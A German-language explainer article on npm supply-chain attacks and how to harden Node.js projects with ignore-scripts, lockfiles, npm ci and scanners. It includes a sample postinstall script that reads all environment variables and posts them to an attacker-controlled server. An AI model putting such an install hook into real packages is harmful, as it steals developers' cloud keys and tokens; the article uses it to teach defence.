Startseite / Artikel / Npm-Lieferkettenangriffe: Wie sie funktionieren und wie man Node.js schützt

Npm-Lieferkettenangriffe: Wie sie funktionieren und wie man Node.js schützt

Erklärt, wie Angriffe auf die npm-Lieferkette wie Account-Übernahmen, Typosquatting und Abhängigkeitsprobleme funktionieren, sowie konkrete Schritte zur Stärkung von Node.js-Installationen.

1767 Wörter

Wenn Sie npm install express ausführen, laden Sie weitaus mehr als nur eine Routing-Bibliothek herunter. In diesem einzigen Befehl sind Hunderte von verschachtelten Paketen verborgen, die von Personen entwickelt wurden, mit denen Sie noch nie in Kontakt waren und wahrscheinlich auch niemals in Kontakt kommen werden.

Die meisten Entwickler betrachten Paketmanager als neutrale Hilfsmittel: Man beantragt ein Tool, es wird heruntergeladen und man kann mit der Arbeit fortfahren. Doch diese Annahme gilt in der Welt von JavaScript nicht mehr. Angreifer bemühen sich heutzutage selten noch darum, ein Unternehmens-Firewall zu durchbrechen oder einen Produktions-Anmeldeablauf zu reverse-engineern. Es ist viel einfacher, bösartigen Code in eine Abhängigkeit einzuschleusen, auf die Ihr Team bereits angewiesen ist und der es bedingungslos vertraut.

npm install ist nicht länger eine passive Lade- und Speicheroperation. Es handelt sich im Grunde um willkürliche Codeausführung – auf Ihrem Laptop, innerhalb Ihres CI/CD-Pipelines und letztendlich in Ihrer Produktionsinfrastruktur.

Was ist ein Angriff auf die Lieferkette in Node.js?

Klassische Web-Sicherheitsprobleme beziehen sich auf Fehler wie SQL-Injection oder Cross-Site Scripting, die direkt in der von Ihnen entwickelten Anwendung vorhanden sind.

Ein Angriff auf die Software-Lieferkette funktioniert anders. Ihre eigene Codebasis mag fehlerfrei sein und alle bekannten Best Practices befolgen. Doch wenn ein von Ihnen genutztes Drittanbieter-Paket manipuliert wurde, basiert dieser fehlerfreie Code auf einer kompromittierten Grundlage, wodurch das gesamte System gefährdet ist.

Dieser Art von Angriff zielt auf die Mechanismen ab, mit denen Ihre Software erstellt und verteilt wird, nicht auf die Software selbst. In der Node.js-Welt gehören zu diesen Mechanismen:

  • Open-Source-Pakete, die im npm-Registry gehostet sind
  • Transitive Abhängigkeiten – die Pakete, von denen wiederum Ihre direkten Abhängigkeiten abhängen
  • Skripte, die während der Installation automatisch ausgeführt werden
  • Automatisierte Release-Pipelines, wie jene, die auf GitHub Actions basieren
  • Wenn eine einzige Verbindung in dieser Kette kompromittiert wird, erbt jedes nachfolgende Projekt beim nächsten Installieren die bösartige Payload.

    Wie Angreifer npm ausnutzen: Drei reale Angriffsmodelle

    Diese Angriffe sind nicht zufällig. Sie beruhen auf vorhersehbaren, strukturellen Eigenschaften des npm-Ökosystems. Im Folgenden werden die drei Angriffsmodelle aufgeführt, denen Sie am ehesten begegnen werden.

    1. Kontoverwaltung und kompromittierte Wartungsteams

    Viele weit verbreitete npm-Pakete werden von unbezahlten Freiwilligen in ihrer Freizeit am Leben erhalten. Angreifer sind sich dessen bewusst und konzentrieren sich statt auf den Quellcode auf die Person, die ihn veröffentlicht.

    Zu den typischen Methoden gehören:

    • Credential Stuffing: Versuche, durchgesickerte Benutzername-Passwort-Kombinationen bei npm-Konten einzusetzen, die keine Mehrfaktorauthentifizierung haben.
    • Phishing: Vortäuschen, man gehöre zum npm-Sicherheitsteam, per E-Mail, um Betreuer dazu zu bringen, ihre Anmeldedaten preiszugeben.
    • Trojanische Pull Requests: Über einen längeren Zeitraum wirklich nützliche, kleine Korrekturen beizusteuern, um Vertrauen aufzubauen und Zugriff auf Commit-Vorgänge zu erlangen, um anschließend, sobald dieses Vertrauen gewonnen ist, eine versteckte Hintertür einzubauen.

    Sobald der Veröffentlichungszugriff gesichert ist, sendet der Angreifer einen scheinbar normalen Patch-Update – sagen wir von 2.1.4 auf 2.1.5. Da so viele package.json-Dateien Pfeil-Rangierungen wie ^2.1.4 verwenden, übernehmen automatisierte Builds überall die verseuchte Version, ohne dass jemand es bemerkt.

    2. Typosquatting und Markenverwechslung

    Typoquatting nutzt einfache menschliche Fehler aus. Ein Angreifer registriert einen Paketnamen, der optisch oder textlich fast nicht von einer bekannten Bibliothek zu unterscheiden ist.

    Einige veranschaulichende Beispiele:

    • Echtes Paket: cross-env
    • Böswilliger Lookalike: crossenv
    • Echtes Paket: colors
    • Böswilliger Lookalike: colour

    Falls Sie beim Eingeben von npm i <package> den falschen Namen eingeben, installieren Sie stattdessen die Version des Angreifers. Diese Betrügerpakete ahmen oft die echte API fast genau nach, sodass Ihr Testumfeld weiterhin normal funktioniert, während im Hintergrund bösartiges Verhalten ausgeführt wird.

    3. Abhängigkeitsverwirrung

    Unternehmen pflegen häufig private interne Pakete – wie zum Beispiel @company/auth-client oder company-auth.

    Falls das interne Registry falsch konfiguriert ist, kann der npm-Client dazu neigen, das öffentliche Registry zu durchsuchen, anstatt zunächst das private zu prüfen, wenn er diesen internen Paketnamen auflösen muss. Angreifer nutzen dies aus, indem sie öffentliche Repositorien und Dokumentationen nach Hinweisen auf diese privaten Paketnamen durchsuchen und anschließend Pakete unter genau diesen Namen im öffentlichen npm-Registry veröffentlichen, wobei sie ihnen eine absurd hohe Versionnummer wie 99.9.9 zuweisen.

    Wenn Ihr Build-Prozess ausgeführt wird, vergleicht npm die Versionen, stellt fest, dass die Version des öffentlichen Pakets höher ist, und installiert den Code des Angreifers anstelle Ihres legitimen internen Moduls.

    Was im Hintergrund passiert: Die Gefahr von Lifecycle-Skripten

    Warum birgt allein die Installation eines Pakets so viele Risiken? Warum würde bösartiger Code ausgeführt werden, bevor Ihre Anwendung jemals require() oder import für diese Bibliothek aufruft?

    Der dafür verantwortliche Mechanismus sind Lifecycle-Skripte.

    In package.json unterstützt npm Shell-Befehle, die automatisch in bestimmten Phasen der Installation ausgeführt werden. Die gefährlichsten dieser Hooks sind preinstall, install und postinstall.

    Unten finden Sie ein scheinbar harmloses package.json, das zu einer kompromittierten Abhängigkeit gehört:

    {
      "name": "useful-string-helper",
      "version": "1.0.1",
      "scripts": {
        "postinstall": "node ./setup.js"
      }
    }
    

    Die Beschreibung könnte behaupten, dass setup.js ein natives Binärdatei kompiliert oder lokale Konfigurationsdateien vorbereitet. In Wirklichkeit könnte setup.js etwas Ähnliches wie Folgendes enthalten:

    // setup.js (Runs automatically during npm install)
    const { exec } = require("child_process");
    const https = require("https");
    
    // Read environment variables (AWS keys, database passwords, tokens)
    const sensitiveData = JSON.stringify(process.env);// Send captured data to an attacker-controlled endpoint
    const req = https.request({
      hostname: "attacker-controlled-server.com",
      port: 443,
      path: "/collect",
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "Content-Length": sensitiveData.length
      }
    });req.write(sensitiveData);
    req.end();
    

    So ist tatsächlich vorgegangen:

    • Sie haben npm install useful-string-helper eingegeben.
    • npm hat sofort node ./setup.js ausgeführt.
    • Ihre lokalen Umgebungsvariablen – wie AWS_SECRET_ACCESS_KEY, DATABASE_URL oder NPM_TOKEN – wurden direkt aus dem Systemspeicher abgerufen.
    • Diese Geheimnisse wurden über HTTPS an einen vom Angreifer kontrollierten Server übertragen.

    Bemerken Sie, dass dafür weder ein Import des Pakets noch das Starten Ihrer Anwendung erforderlich war. Schon die Ausführung von npm install, sei es auf Ihrem eigenen Rechner oder innerhalb eines CI-Runners, reichte aus, um Ihre Geheimnisse vollständig zu kompromittieren.

    Praktische Verteidigung: Absicherung Ihres Node.js-Ablaufs

    Es ist nicht realistisch, auf Drittanbieter-Pakete zu verzichten. Das gesamte Ökosystem der modernen Entwicklung basiert auf Open-Source-Bausteinen. Was Sie jedoch kontrollieren können, ist, wie sorgfältig Sie diese Abhängigkeiten in Ihr Projekt aufnehmen.

    1. Installationsskripte standardmäßig deaktivieren

    Sollte ein Paket tatsächlich während der Installation ein benutzerdefiniertes Skript ausführen müssen, deaktivieren Sie dieses Verhalten:

    npm install --ignore-scripts
    

    Um diese Regel im gesamten Projekt anzuwenden, anstatt sie jedes Mal einzutippen, fügen Sie eine .npmrc-Datei in die Wurzel Ihres Repositoriums hinzu:

    # .npmrc
    ignore-scripts=true
    

    Falls ein Paket tatsächlich eine native Kompilierung benötigt – beispielsweise ein Datenbanktreiber oder eine Bildverarbeitungsbibliothek – können Sie den Build-Prozess dafür trotzdem manuell auslösen oder bestimmte Pakete über die von Paketverwaltern wie pnpm oder yarn angebotenen Plugin-Systeme auswählen.

    2. Sichern Sie Ihre Abhängigkeiten streng ab

    Sorgen Sie dafür, dass immer ein Lockfile zum Code gehört, den Sie in das Versionskontrollsystem einchecken – sei es package-lock.json, pnpm-lock.yaml oder yarn.lock, je nachdem, welches Tool Sie verwenden.

    Ein Lockfile speichert die genaue Version, die heruntergeladene Download-URL sowie einen kryptografischen Integritäts-Hash (SHA-512) für jedes installierte Paket. Solange dieser Hash vorhanden ist, kann npm bestätigen, dass der aktuell heruntergeladene Code bytegenau mit dem übereinstimmt, was bei der Erstellung des Lockfiles erfasst wurde.

    In CI/CD-Pipelines sollten Sie immer Folgendes verwenden:

    npm ci
    

    Vermeiden Sie es, während des Deployments einfach nur npm install auszuführen. npm ci hält sich strikt an die Angaben in package-lock.json und löscht vorher jede vorhandene node_modules-Datei, wodurch eine heimliche Erhöhung der Versionen verhindert wird.

    3. Schützen Sie die Geheimnisse Ihrer Umgebung

    Vermeiden Sie es, soweit möglich, Produktionsdaten in unverschlüsselten .env-Dateien auf Ihrem Laptop zu speichern. Entwicklungsrechner sind besonders attraktive Ziele, weil sie in der Regel eine schwächere Sicherheitsüberwachung aufweisen als Cloud-Infrastrukturen, obwohl sie weiterhin gültige Zugangsdaten zu Produktionsdatenbanken und Cloud-Konten enthalten.

    • Wählen Sie lieber kurzfristig gültige Zugangsdaten, wie sie beispielsweise über AWS IAM Identity Center oder ähnliche Systeme mit temporären Tokenen bereitgestellt werden.
  • Speichern Sie API-Schlüssel in speziellen Geheimnisverwaltern statt in Shell-Konfigurationsdateien wie .bashrc oder .zshrc.
  • Halten Sie Deployment-Token mit hohen Berechtigungen vollständig von den einzelnen Entwicklermaschinen fern.
  • 4. Verwenden Sie automatisierte Scannungstools

    Kein Scanner erfasst alles, aber automatisierte Tools sind schnell darin, Pakete zu erkennen, die bereits als bösartig oder anfällig bekannt sind.

    • Führen Sie regelmäßig npm audit durch, um Pakete mit bekannten CVEs aufzudecken.
    • Fügen Sie einen Dienst wie Socket.dev, Snyk oder GitHubs eigenen Dependabot als obligatorische Überprüfung zu jeder Pull-Request hinzu.
    • Socket.dev prüft beispielsweise, was ein Paket tatsächlich im Hintergrund tut – Netzwerkanfragen senden, auf die Festplatte schreiben, Shell-Befehle ausführen – bevor es in Ihr Projekt gelangt.

    Der Kompromiss: Sicherheit versus Entwicklergeschwindigkeit

    Niemand dieser Absicherungsmaßnahmen ist kostenlos.

    Die Aktivierung von ignore-scripts=true kann Pakete stören, die auf nativen C++-Bindings angewiesen sind, wie zum Beispiel bcrypt oder sharp. In solchen Fällen muss jemand im Team Zeit investieren, um den Build-Fehler zu diagnostizieren oder den Kompilierungsprozess manuell einzurichten.

    Ebenso bedeutet das Festlegen jeder Abhängigkeitsversion, dass Fehlerbehebungen nicht automatisch in Ihr Projekt gelangen. Sie müssen regelmäßig Zeit einplanen – wöchentlich oder pro Sprint –, um absichtlich Abhängigkeiten zu testen und zu aktualisieren, anstatt sie sich selbst aktualisieren zu lassen.

    Für ein kleines Nebenprojekt mag dieses Maß an Disziplin wie unnötiger Widerstand erscheinen. Doch sobald eine Anwendung mit Kundendaten, Rechnungsdetails oder der Produktionsinfrastruktur in Berührung kommt, wird genau dieser Widerstand zum wichtigsten Faktor, der Sie vor stillschweigenden Kompromissen schützt.

    Zusammenfassende Checkliste für Node.js-Entwickler

    Vor dem Hinzufügen der nächsten Abhängigkeit sollten Sie diese Grundsätze im Hinterkopf behalten:

    • Betrachten Sie npm install als Ausführung von Code: Jedes Paket, das Sie hinzufügen, wird mit denselben Berechtigungen wie Ihr eigenes Benutzerkonto ausgeführt.
    • Fragen Sie sich bei neuen Add-ons: Prüfen Sie, ob Sie tatsächlich ein vollständiges Paket für eine möglicherweise nur zehn Zeilen lange Hilfsfunktion benötigen.
    • Deaktivieren Sie Skripte, wo immer möglich: Setzen Sie ignore-scripts=true in .npmrc, um die meisten nach der Installation auftretenden Angriffe zu verhindern.
    • Committen Sie immer die Lockdatei: Halten Sie package-lock.json auf dem neuesten Stand und verlangen Sie bei jedem CI/CD-Ausführungsvorgang npm ci.
    • Überprüfen Sie die Zugriffsrechte: Beschränken Sie, was Ihre lokale Shell sowie Ihre CI-Runner tatsächlich erreichen dürfen.

    Das Ökosystem von JavaScript bietet Entwicklern enorme Geschwindigkeit und Flexibilität. Indem man sorgfältig damit umgeht, wie Abhängigkeiten verwaltet werden, kann verhindert werden, dass diese Geschwindigkeit heimlich die Integrität der Systeme untergräbt.

    Verwandte Artikel

  • Erstellen eines modularen JavaScript-Automatisierungs-Toolkits von Null an — Lernen Sie, wie man Playwright, Cheerio, SQLite und Commander zu einem wiederverwendbaren Node.js-Workflow-Engine kombiniert, der sich von einem Skript zu einem verkaufbaren Automatisierungsprodukt entwickelt.